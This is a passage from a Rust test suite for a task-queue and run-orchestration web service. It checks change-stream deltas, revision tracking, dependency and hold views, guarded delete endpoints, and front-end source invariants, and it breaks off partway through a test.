22873        assert_eq!(stamps_revision(&Stamps::new()), 0);
22874    }
22875
22876    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22877        std::fs::create_dir_all(home.join("runs")).unwrap();
22878        Arc::new(
22879            Ui::new(
22880                Queue::at(home.join("queue")),
22881                Questions::at(home.join("questions")),
22882                Talks::at(home.join("talks")),
22883                home.join("runs"),
22884                home.to_owned(),
22885                PathBuf::from("/repo/magi"),
22886            )
22887            .with_worktrees_root(home.join("wt")),
22888        )
22889    }
22890
22891    #[test]
22892    fn monitor_scan_isolates_store_failures_and_recovers() {
22893        let home = TempDir::new().unwrap();
22894        let ui = delta_test_ui(home.path());
22895        std::fs::create_dir_all(ui.questions.root()).unwrap();
22896        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22897        let before = monitor_scan(&ui, None);
22898        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22899        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22900        std::fs::create_dir_all(ui.talks.root()).unwrap();
22901        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22902        let during = monitor_scan(&ui, Some(before.clone()));
22903        assert_eq!(during.0.2, before.0.2);
22904        assert_ne!(during.0.3, before.0.3);
22905        assert!(during.1[2].contains_key("new"));
22906        std::fs::remove_file(ui.questions.root()).unwrap();
22907        let after = monitor_scan(&ui, Some(during));
22908        assert_eq!(after.0.2, 0);
22909        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22910        // A failed first scan also permits healthy stores to publish.
22911        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22912        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22913    }
22914
22915    #[tokio::test]
22916    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22917        let home = TempDir::new().unwrap();
22918        let ui = delta_test_ui(home.path());
22919        let mut task = Task::new(
22920            "stream task".into(),
22921            "text".into(),
22922            PathBuf::from("/repo"),
22923            Source::Human,
22924        );
22925        ui.queue.put(&mut task).unwrap();
22926        let response = events(State(ui.clone())).await.into_response();
22927        let mut stream = response.into_body().into_data_stream();
22928        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22929            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22930                .await
22931                .unwrap()
22932                .unwrap()
22933                .unwrap();
22934            let text = String::from_utf8(chunk.to_vec()).unwrap();
22935            let data = text
22936                .lines()
22937                .find_map(|line| {
22938                    line.strip_prefix("data: ")
22939                        .or_else(|| line.strip_prefix("data:"))
22940                })
22941                .unwrap();
22942            serde_json::from_str(data).unwrap()
22943        }
22944        let initial = change(&mut stream).await;
22945        assert!(initial.get("queue_delta").is_none());
22946        task.instruction.push_str(" changed");
22947        ui.queue.put(&mut task).unwrap();
22948        let updated = change(&mut stream).await;
22949        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22950        assert_eq!(
22951            updated["queue_delta"]["changed"],
22952            serde_json::json!([task.id])
22953        );
22954        assert_eq!(
22955            updated["queue_rev"].as_u64(),
22956            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22957        );
22958        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22959        let removed = change(&mut stream).await;
22960        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22961        assert_eq!(
22962            removed["queue_delta"]["removed"],
22963            serde_json::json!([task.id])
22964        );
22965    }
22966
22967    #[tokio::test]
22968    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22969        let home = TempDir::new().unwrap();
22970        let ui = delta_test_ui(home.path());
22971        let queue = ui.queue.clone();
22972        let query = |ids: Option<&str>| {
22973            Query(ListQuery {
22974                limit: Some(2),
22975                ids: ids.map(str::to_owned),
22976            })
22977        };
22978        let mut root = Task::new(
22979            "root".into(),
22980            "instruction".into(),
22981            PathBuf::from("/repo"),
22982            Source::Human,
22983        );
22984        queue.put(&mut root).unwrap();
22985        let mut blocked = Task::new(
22986            "blocked".into(),
22987            "instruction".into(),
22988            PathBuf::from("/repo"),
22989            Source::Human,
22990        );
22991        blocked.block(vec![root.id.clone()], None);
22992        queue.put(&mut blocked).unwrap();
22993        let whole =
22994            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22995                .unwrap();
22996        let subset = serde_json::to_value(
22997            queue_list(State(ui.clone()), query(Some(&root.id)))
22998                .await
22999                .unwrap()
23000                .0,
23001        )
23002        .unwrap();
23003        assert_eq!(whole, subset, "requested root plus its blocked dependent");
23004        let blockers = serde_json::to_value(
23005            queue_list(State(ui.clone()), query(Some("")))
23006                .await
23007                .unwrap()
23008                .0,
23009        )
23010        .unwrap();
23011        assert_eq!(blockers.as_array().unwrap().len(), 1);
23012        assert_eq!(blockers[0]["id"], blocked.id);
23013        assert_eq!(
23014            blockers[0]["waits_on"],
23015            whole
23016                .as_array()
23017                .unwrap()
23018                .iter()
23019                .find(|row| row["id"] == blocked.id)
23020                .unwrap()["waits_on"]
23021        );
23022
23023        for id in [
23024            "20260902-140501-aaaa",
23025            "20260902-140502-bbbb",
23026            "20260902-140503-cccc",
23027        ] {
23028            write_run(&ui.runs, id, RunStatus::Merged);
23029        }
23030        let old = serde_json::to_value(
23031            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
23032                .await
23033                .unwrap()
23034                .0,
23035        )
23036        .unwrap();
23037        assert!(
23038            old.as_array().unwrap().is_empty(),
23039            "older updates must not enter the window"
23040        );
23041        let newest = serde_json::to_value(
23042            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
23043                .await
23044                .unwrap()
23045                .0,
23046        )
23047        .unwrap();
23048        assert_eq!(newest.as_array().unwrap().len(), 1);
23049        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
23050
23051        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
23052        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
23053        let talks = serde_json::to_value(
23054            talks_list(
23055                State(ui.clone()),
23056                query(Some("20260905-000000-d4e5")),
23057                header::HeaderMap::new(),
23058            )
23059            .await
23060            .unwrap()
23061            .0,
23062        )
23063        .unwrap();
23064        assert_eq!(talks.as_array().unwrap().len(), 1);
23065        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
23066        assert_eq!(
23067            serde_json::to_value(
23068                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
23069                    .await
23070                    .unwrap()
23071                    .0
23072            )
23073            .unwrap(),
23074            serde_json::json!([])
23075        );
23076    }
23077
23078    #[tokio::test]
23079    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
23080    async fn delta_payload_benchmark() {
23081        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
23082        let ui = delta_test_ui(&home);
23083        let query = |ids: Option<String>| {
23084            Query(ListQuery {
23085                limit: Some(50),
23086                ids,
23087            })
23088        };
23089        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
23090        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
23091        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
23092            .await
23093            .unwrap()
23094            .0;
23095        let queue_id = queue
23096            .iter()
23097            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
23098            .unwrap_or(&queue[0])
23099            .task
23100            .id
23101            .clone();
23102        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
23103            .await
23104            .unwrap()
23105            .0;
23106        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
23107            .await
23108            .unwrap()
23109            .0;
23110        let talks_delta = talks_list(
23111            State(ui.clone()),
23112            query(Some(talks[0].id.clone())),
23113            header::HeaderMap::new(),
23114        )
23115        .await
23116        .unwrap()
23117        .0;
23118        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
23119        eprintln!(
23120            "DELTA_PAYLOAD {}",
23121            serde_json::json!({
23122                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
23123                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
23124                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
23125                "counts": [queue.len(), runs.len(), talks.len()],
23126                "blocked": queue_delta.len() - 1,
23127            })
23128        );
23129    }
23130
23131    #[test]
23132    fn runs_revision_moves_when_deleting_an_older_run() {
23133        let temp = TempDir::new().expect("tempdir");
23134        let runs = temp.path().join("runs");
23135        std::fs::create_dir_all(&runs).expect("create runs dir");
23136
23137        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
23138
23139        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
23140        std::thread::sleep(Duration::from_millis(10));
23141        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
23142
23143        let rev_before = runs_revision(&runs);
23144        assert!(rev_before > 0);
23145
23146        let old_dir = runs.join("20260901-100000-old1");
23147        std::fs::remove_dir_all(&old_dir).expect("remove old run");
23148
23149        let rev_after = runs_revision(&runs);
23150        assert_ne!(
23151            rev_before, rev_after,
23152            "deleting an older run must change the revision so other clients see the deletion"
23153        );
23154    }
23155
23156    /// A run's own `run.json` on an explicit `runs` root, bypassing the
23157    /// process-global home entirely — `RunState::save` writes through
23158    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
23159    /// (see `tests::home_lock` in the integration suite for why).
23160    fn write_state(runs: &FsPath, state: &RunState) {
23161        let dir = runs.join(&state.id);
23162        std::fs::create_dir_all(&dir).expect("run dir");
23163        std::fs::write(
23164            dir.join("run.json"),
23165            serde_json::to_string_pretty(state).expect("serialize run"),
23166        )
23167        .expect("write run.json");
23168    }
23169
23170    /// A seat starting or finishing is a write to `run.json` like any other,
23171    /// so it moves the same revision the change stream already watches —
23172    /// nothing new for `/api/events` to learn, but the property this feature
23173    /// depends on to reach the phone without a poll.
23174    #[test]
23175    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
23176        let temp = TempDir::new().expect("tempdir");
23177        let runs = temp.path().join("runs");
23178        std::fs::create_dir_all(&runs).expect("create runs dir");
23179        let mut state = RunState::new(
23180            PathBuf::from("/repo/magi"),
23181            "main".to_owned(),
23182            "0123456789abcdef".to_owned(),
23183            "task".to_owned(),
23184            Config::default(),
23185        );
23186        state.id = "20260902-100000-c0de".to_owned();
23187        write_state(&runs, &state);
23188
23189        let rev_idle = runs_revision(&runs);
23190        std::thread::sleep(Duration::from_millis(10));
23191        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
23192        write_state(&runs, &state);
23193        let rev_started = runs_revision(&runs);
23194        assert_ne!(
23195            rev_idle, rev_started,
23196            "a seat starting must move the revision"
23197        );
23198
23199        std::thread::sleep(Duration::from_millis(10));
23200        state.seat_finished("judge-1");
23201        write_state(&runs, &state);
23202        let rev_finished = runs_revision(&runs);
23203        assert_ne!(
23204            rev_started, rev_finished,
23205            "and clearing it again must move the revision a second time"
23206        );
23207    }
23208
23209    #[tokio::test]
23210    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
23211        // `TaskView` flattens `Task`, so this is really asserting that
23212        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
23213        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
23214        // never touched web.rs, so nothing here caught it if it had.
23215        let fx = Fixture::start().await;
23216        let q = fx.queue();
23217
23218        let mut t = Task::new(
23219            "Task".to_owned(),
23220            "Instruction".to_owned(),
23221            PathBuf::from("/repo"),
23222            Source::Human,
23223        );
23224        t.block(
23225            vec!["20260101-000000-dead".to_owned()],
23226            Some("waiting on Task 1".to_owned()),
23227        );
23228        t.answers.push(crate::queue::AnsweredQuestion {
23229            question: "Which backend?".to_owned(),
23230            answer: "SQLite".to_owned(),
23231        });
23232        q.put(&mut t).expect("put t");
23233
23234        let res = fx.get("/api/queue").await;
23235        assert_eq!(res.status, 200);
23236        let list = res.json();
23237        let view = list
23238            .as_array()
23239            .expect("array")
23240            .iter()
23241            .find(|v| v["id"] == t.id)
23242            .expect("task in list");
23243        assert_eq!(view["status_str"], "blocked");
23244        assert_eq!(
23245            view["blocked_by"],
23246            serde_json::json!(["20260101-000000-dead"])
23247        );
23248        assert_eq!(view["block_reason"], "waiting on Task 1");
23249        assert_eq!(view["answers"][0]["question"], "Which backend?");
23250        assert_eq!(view["answers"][0]["answer"], "SQLite");
23251
23252        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
23253        // but never `answers` - that is a settled decision, not state
23254        // describing the current block, so it survives.
23255        let res = fx
23256            .post(&format!("/api/queue/{}/hold", t.short()), None)
23257            .await;
23258        assert_eq!(res.status, 200);
23259        let held = res.json();
23260        assert_eq!(held["status_str"], "held");
23261        assert_eq!(held["blocked_by"], serde_json::json!([]));
23262        assert!(held["block_reason"].is_null());
23263        assert_eq!(held["answers"][0]["answer"], "SQLite");
23264    }
23265
23266    #[tokio::test]
23267    async fn task_recovery_pending_decisions_block_disk_autoresume() {
23268        let fx = Fixture::start().await;
23269        let queue = fx.queue();
23270        let questions = fx.questions();
23271        let mut task = Task::new(
23272            "Disk recovery".into(),
23273            "Inspect".into(),
23274            PathBuf::from("/repo"),
23275            Source::Human,
23276        );
23277        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
23278        task.mark_disk_capacity();
23279        queue.put(&mut task).unwrap();
23280        let mut records = Vec::new();
23281        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
23282            let mut q = Question::new(
23283                task.id.clone(),
23284                node.into(),
23285                "triage".into(),
23286                "Resume recovery?".into(),
23287                String::new(),
23288                vec![],
23289            );
23290            q.routed_task = Some(task.id.clone());
23291            questions.put(&mut q).unwrap();
23292            records.push(q);
23293        }
23294        let url = format!("/api/queue/{}", task.id);
23295        let view = fx.get(&url).await.json();
23296        assert_eq!(view["status_str"], "held");
23297        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23298        assert!(
23299            view["recovery"]
23300                .as_str()
23301                .unwrap()
23302                .contains("Disk recovery alone will not resume")
23303        );
23304        assert!(
23305            view["recovery"]
23306                .as_str()
23307                .unwrap()
23308                .contains("Disk wait (automatically monitored)")
23309        );
23310        for blocker in view["blockers"].as_array().unwrap() {
23311            assert!(blocker["destination"].is_null());
23312            assert!(
23313                blocker["next"]
23314                    .as_str()
23315                    .unwrap()
23316                    .contains("pending delivery")
23317            );
23318        }
23319        for q in &mut records {
23320            q.routed_chat = Some("owning-chat".into());
23321            questions.put(q).unwrap();
23322        }
23323        let view = fx.get(&url).await.json();
23324        for blocker in view["blockers"].as_array().unwrap() {
23325            assert_eq!(
23326                blocker["destination"],
23327                serde_json::json!(["chat", "owning-chat"])
23328            );
23329            assert_eq!(blocker["resolves_itself"], false);
23330        }
23331        // Answered routed decisions can still be awaiting task-chat application.
23332        for q in &mut records {
23333            q.status = ask::QuestionStatus::Answered;
23334            questions.put(q).unwrap();
23335        }
23336        assert!(crate::triage::pending_for(&questions, &task));
23337        let view = fx.get(&url).await.json();
23338        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23339        assert!(
23340            view["blockers"][0]["next"]
23341                .as_str()
23342                .unwrap()
23343                .contains("not yet applied")
23344        );
23345        for q in &records {
23346            task.mark_triage_applied(&q.id);
23347        }
23348        queue.put(&mut task).unwrap();
23349        assert!(!crate::triage::pending_for(&questions, &task));
23350        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
23351        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
23352    }
23353
23354    #[test]
23355    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
23356        use crate::queue::HoldSource;
23357        let mut task = Task::new(
23358            "Recovery".into(),
23359            "Inspect".into(),
23360            PathBuf::from("/repo"),
23361            Source::Human,
23362        );
23363        assert!(task_recovery(&task).is_none());
23364        task.hold_manual(Some("Operator paused".into()));
23365        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
23366        task.block(vec!["dependency".into()], Some("Decision needed".into()));
23367        let text = task_recovery(&task).unwrap();
23368        assert!(text.contains("restores held"));
23369        assert!(text.contains("clears its dependency references"));
23370        task.hold_source = Some(HoldSource::Machine);
23371        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
23372        task.mark_disk_capacity();
23373        let view = TaskView::with_inventory(
23374            task.clone(),
23375            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
23376        );
23377        let json = serde_json::to_value(view).unwrap();
23378        assert_eq!(json["block_reason"], "Decision needed");
23379        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
23380        let recovery = json["recovery"].as_str().unwrap();
23381        assert!(recovery.contains("not current capacity"));
23382        assert!(recovery.contains("triage rechecks"));
23383        assert_eq!(json["blockers"][0]["state"], "missing");
23384        task.blocked_from = Some(TaskStatus::Queued);
23385        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
23386        task.blocked_from = None;
23387        assert!(task_recovery(&task).unwrap().contains("restores held"));
23388    }
23389
23390    #[tokio::test]
23391    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
23392        let fx = Fixture::start().await;
23393        let q = fx.queue();
23394        let mk = |title: &str| {
23395            Task::new(
23396                title.to_owned(),
23397                "Instruction".to_owned(),
23398                PathBuf::from("/repo"),
23399                Source::Human,
23400            )
23401        };
23402        let mut root = mk("root");
23403        root.hold_manual(Some("waiting".to_owned()));
23404        q.put(&mut root).unwrap();
23405        let mut mid = mk("mid");
23406        mid.block(vec![root.id.clone()], None);
23407        q.put(&mut mid).unwrap();
23408        let mut leaf = mk("leaf");
23409        leaf.block(vec![mid.id.clone()], None);
23410        q.put(&mut leaf).unwrap();
23411
23412        let list = fx.get("/api/queue").await.json();
23413        let find = |id: &str| {
23414            list.as_array()
23415                .unwrap()
23416                .iter()
23417                .find(|v| v["id"] == id)
23418                .unwrap()
23419                .clone()
23420        };
23421        let leaf_view = find(&leaf.id);
23422        assert_eq!(
23423            leaf_view["waits_on"],
23424            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
23425        );
23426        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
23427        assert_eq!(
23428            find(&mid.id)["waits_on"],
23429            serde_json::json!([format!("{} (held)", root.short())])
23430        );
23431        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
23432    }
23433
23434    #[tokio::test]
23435    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23436        let fx = Fixture::start().await;
23437        let q = fx.queue();
23438
23439        // 1. A queued task with runs attached can be deleted.
23440        let mut t1 = Task::new(
23441            "Task 1".to_owned(),
23442            "Instruction 1".to_owned(),
23443            PathBuf::from("/repo"),
23444            Source::Human,
23445        );
23446        let run_id = "20260901-000000-r111";
23447        t1.runs.push(run_id.to_owned());
23448        write_run(&fx.runs(), run_id, RunStatus::Merged);
23449        q.put(&mut t1).expect("put t1");
23450
23451        // Delete by short id
23452        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23453        assert_eq!(res.status, 204);
23454        assert!(res.body.is_empty(), "204 No Content has no body");
23455        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23456        assert!(
23457            fx.runs().join(run_id).exists(),
23458            "run directory must not be deleted when its task is deleted"
23459        );
23460
23461        // 2. A task a live daemon is running is refused with 409.
23462        let mut t2 = Task::new(
23463            "Task 2".to_owned(),
23464            "Instruction 2".to_owned(),
23465            PathBuf::from("/repo"),
23466            Source::Human,
23467        );
23468        t2.status = TaskStatus::Running;
23469        q.put(&mut t2).expect("put t2");
23470        let mut beat = crate::daemon::Status::new();
23471        beat.current = vec![crate::daemon::Current {
23472            worker: None,
23473            task: t2.id.clone(),
23474            run: "20260901-000000-r222".to_owned(),
23475        }];
23476        beat.updated_at = jiff::Timestamp::now();
23477        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23478            .expect("publish a heartbeat");
23479        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23480        assert_eq!(res.status, 409);
23481        assert!(
23482            res.json()["error"]
23483                .as_str()
23484                .unwrap()
23485                .contains("live daemon")
23486        );
23487        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23488
23489        // 3. The same `running` status and an orphaned lock, with no daemon
23490        // behind either, is a leftover and deletable. Before this the phone
23491        // refused it for good: the status never changes on its own and
23492        // nothing drops a lock whose process is gone.
23493        // The daemon is killed: the file stays, the heartbeat stops.
23494        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23495        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23496            .expect("leave a stale heartbeat");
23497        let mut t3 = Task::new(
23498            "Task 3".to_owned(),
23499            "Instruction 3".to_owned(),
23500            PathBuf::from("/repo"),
23501            Source::Human,
23502        );
23503        t3.status = TaskStatus::Running;
23504        q.put(&mut t3).expect("put t3");
23505        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23506        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23507        assert_eq!(res.status, 204);
23508        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23509        assert!(
23510            q.claim(&t3.id).is_ok(),
23511            "the stale lock went with it, so the id is claimable again"
23512        );
23513
23514        // 4. Missing id returns 404
23515        let res = fx.delete("/api/queue/nonexistent").await;
23516        assert_eq!(res.status, 404);
23517    }
23518
23519    #[tokio::test]
23520    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23521        let fx = Fixture::start().await;
23522        let runs = fx.runs();
23523
23524        // 1. Finished and folded run can be deleted along with artifacts
23525        let run_id = "20260901-000000-fold";
23526        let mut state = RunState::new(
23527            PathBuf::from("/repo"),
23528            "main".to_owned(),
23529            "abc".to_owned(),
23530            "instruction".to_owned(),
23531            Config::default(),
23532        );
23533        state.id = run_id.to_owned();
23534        state.status = RunStatus::Merged;
23535        state.candidates.push(crate::run::Candidate {
23536            index: 0,
23537            label: 'A',
23538            agent: "a".to_owned(),
23539            branch: "b".to_owned(),
23540            worktree: PathBuf::from("/w"),
23541            summary: String::new(),
23542            stat: String::new(),
23543            files: 1,
23544            commits: 1,
23545            empty: false,
23546            failed: None,
23547            verified_noop: None,
23548            duration_ms: 0,
23549            folded: true,
23550        });
23551        let dir = runs.join(run_id);
23552        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23553        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23554            .expect("write artifact");
23555        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23556            .expect("write run.json");
23557
23558        // Delete by short id
23559        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23560        assert_eq!(res.status, 204);
23561        assert!(res.body.is_empty(), "204 has no body");
23562        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23563
23564        // 2. A run a live daemon is working on is refused with 409. The
23565        // heartbeat is what makes it refusable: an unfinished run with no
23566        // daemon behind it is a leftover from a killed process, and case 1
23567        // above would otherwise be impossible to tell apart from this one.
23568        let run_running = "20260901-000000-rung";
23569        write_run(&runs, run_running, RunStatus::Prep);
23570        let mut beat = crate::daemon::Status::new();
23571        beat.current = vec![crate::daemon::Current {
23572            worker: None,
23573            task: "20260901-000000-task".to_owned(),
23574            run: run_running.to_owned(),
23575        }];
23576        beat.updated_at = jiff::Timestamp::now();
23577        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23578            .expect("publish a heartbeat");
23579        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23580        assert_eq!(res.status, 409);
23581        assert!(
23582            res.json()["error"]
23583                .as_str()
23584                .unwrap()
23585                .contains("live daemon"),
23586            "the refusal must say who is holding it"
23587        );
23588        assert!(
23589            runs.join(run_running).exists(),
23590            "a run in flight keeps its directory"
23591        );
23592
23593        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23594        let run_unfolded = "20260901-000000-unfd";
23595        let mut state2 = RunState::new(
23596            PathBuf::from("/repo"),
23597            "main".to_owned(),
23598            "abc".to_owned(),
23599            "instruction".to_owned(),
23600            Config::default(),
23601        );
23602        state2.id = run_unfolded.to_owned();
23603        state2.status = RunStatus::Ready;
23604        state2.candidates.push(crate::run::Candidate {
23605            index: 0,
23606            label: 'A',
23607            agent: "a".to_owned(),
23608            branch: "b".to_owned(),
23609            worktree: PathBuf::from("/w"),
23610            summary: String::new(),
23611            stat: String::new(),
23612            files: 1,
23613            commits: 1,
23614            empty: false,
23615            failed: None,
23616            verified_noop: None,
23617            duration_ms: 0,
23618            folded: false,
23619        });
23620        let dir2 = runs.join(run_unfolded);
23621        std::fs::create_dir_all(&dir2).expect("create dir2");
23622        std::fs::write(
23623            dir2.join("run.json"),
23624            serde_json::to_string(&state2).unwrap(),
23625        )
23626        .expect("write run.json");
23627
23628        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23629        assert_eq!(res.status, 409);
23630        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23631        assert!(dir2.exists(), "unfolded run directory is kept");
23632
23633        // 4. Missing id returns 404
23634        let res = fx.delete("/api/runs/nonexistent").await;
23635        assert_eq!(res.status, 404);
23636    }
23637
23638    /// The queue tiles on the Stats tab must render even on a home with no
23639    /// runs at all: queue state is not derived from run history, so hiding
23640    /// the whole dashboard body behind "no runs yet" would drop the one
23641    /// thing this tab promises unconditionally (queued/running/held/done).
23642    /// A DOM-level test would need a browser this suite does not have, so
23643    /// this pins the same invariant textually: `renderStatsQueue` is called
23644    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
23645    /// block that gates the run-derived panels.
23646    #[test]
23647    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23648        let start = APP_JS
23649            .find("function renderStats() {")
23650            .expect("renderStats");
23651        let end = start
23652            + APP_JS[start..]
23653                .find("function statsTile(")
23654                .expect("the next top-level function");
23655        let body = &APP_JS[start..end];
23656
23657        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23658        let gate_end = gate_start
23659            + body[gate_start..]
23660                .find("}\n  renderStatsQueue")
23661                .expect("the gate's own closing brace, right before the unconditional call");
23662        let gated = &body[gate_start..gate_end];
23663
23664        assert_eq!(
23665            body.matches("renderStatsQueue(").count(),
23666            1,
23667            "renderStats must call renderStatsQueue exactly once: {body}"
23668        );
23669        assert!(
23670            !gated.contains("renderStatsQueue"),
23671            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
23672             run-derived panels on an empty run history - the queue panel has to render \
23673             regardless: {gated}"
23674        );
23675    }
23676
23677    #[test]
23678    fn web_ui_delete_contract_in_front_end() {
23679        // 1. API block has both delete endpoints
23680        assert!(APP_JS.contains("deleteRun:"));
23681        assert!(APP_JS.contains("deleteTask:"));
23682
23683        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
23684        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
23685            ..APP_JS.find("function renderRuns").unwrap()];
23686        assert!(!run_cards_slice.to_lowercase().contains("delete"));
23687
23688        // 3. Run detail has delete entry and reasons
23689        assert!(APP_JS.contains("renderRunDelete"));
23690        assert!(APP_JS.contains("runDeleteReason"));
23691        assert!(APP_JS.contains("magi fold"));
23692        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
23693
23694        // 4. Two-step delete arming and focus on Cancel
23695        assert!(APP_JS.contains("cancel.focus"));
23696        assert!(APP_JS.contains("armedRunDelete"));
23697        assert!(APP_JS.contains("renderTaskDeleteBox"));
23698        assert!(APP_JS.contains("armed${cap(key)}"));
23699
23700        // 5. Running task has disabled delete
23701        assert!(APP_JS.contains("disabled: status === \"running\""));
23702    }
23703
23704    /// Every element a run card's updater reaches for must be in the `refs`
23705    /// the builder handed it.
23706    ///
23707    /// `createRunCard` builds its elements, appends them to the card, and then
23708    /// lists them again in `row.refs`. That second list is the one the updater
23709    /// uses, and nothing connects the two - an element can be built, appended
23710    /// and rendered, and still be missing from `refs`. `superseded` was, for
23711    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
23712    /// exception took `syncList` with it, and the deck showed
23713    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
23714    /// line is computed before the cards, which is why the failure looked like
23715    /// a server that had lost its runs rather than a front end that had
23716    /// stopped rendering them.
23717    ///
23718    /// A `cargo test` cannot execute the front end, so this reads the two
23719    /// halves out of the source and compares them as sets. It is not a check
23720    /// on the wording of either list: adding an element, renaming one, or
23721    /// reordering them all keeps this passing, and only using one the builder
23722    /// never published fails it.
23723    #[test]
23724    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
23725        let build = APP_JS
23726            .find("function createRunCard")
23727            .expect("createRunCard exists");
23728        let update = APP_JS
23729            .find("function updateRunCard")
23730            .expect("updateRunCard exists");
23731        let end = APP_JS
23732            .find("function renderRuns")
23733            .expect("renderRuns exists");
23734
23735        // The builder's published set: the object literal assigned to `refs`.
23736        let builder = &APP_JS[build..update];
23737        let open = builder.find("refs = {").expect("createRunCard sets refs");
23738        let literal = &builder[open + "refs = {".len()..];
23739        let close = literal.find('}').expect("the refs literal is closed");
23740        let published: HashSet<&str> = literal[..close]
23741            .split(',')
23742            // `name` and `name: value` both bind `name`.
23743            .filter_map(|entry| entry.split(':').next())
23744            .map(str::trim)
23745            .filter(|name| !name.is_empty())
23746            .collect();
23747        assert!(
23748            published.len() > 5,
23749            "the refs literal did not parse into names: {published:?}"
23750        );
23751
23752        // What the updaters reach for: every `r.<name>`, where `r` is the
23753        // `const r = row.refs` alias both functions open with.
23754        let mut used: Vec<&str> = Vec::new();
